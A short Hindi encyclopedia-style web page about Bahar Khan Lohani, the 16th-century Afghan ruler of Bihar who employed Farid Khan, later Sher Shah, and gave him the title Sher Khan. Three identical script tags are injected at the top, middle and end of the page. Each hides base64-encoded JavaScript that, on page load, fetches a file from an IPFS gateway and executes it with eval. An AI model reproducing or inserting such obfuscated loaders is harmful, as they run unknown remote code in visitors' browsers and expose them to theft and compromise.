बहार ख़ाँ लोहानी
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
बहार ख़ाँ लोहानी 16वीं शताब्दी के प्रथम चतुर्थांश में बिहार का स्वतंत्र अफ़ग़ान शासक था।
- 'फ़रीद ख़ाँ' को 1522 ई. में बहार ख़ाँ लोहानी ने अपनी सेवा में नियुक्त किया था।
- आगे चलकर फ़रीद ख़ाँ शेरशाह के नाम से प्रसिद्ध हुआ।
- बहार ख़ाँ लोहानी ने फ़रीद ख़ाँ को 'शेर ख़ाँ' का ख़िताब दिया, क्योंकि उसने बिना किसी हथियार के ही शेर को मार डाला था।
- शेरशाह को अपना नायाब बनाकर बहार ख़ाँ लोहानी ने उसे अपने नाबालिग लड़के जलाल ख़ाँ का उस्ताद भी नियुक्त किया।
- इस प्रकार बहार ख़ाँ लोहानी ने शेर ख़ाँ (शेरशाह) के भावी उत्कर्ष का पथ प्रशस्त कर दिया था।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 280 |
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>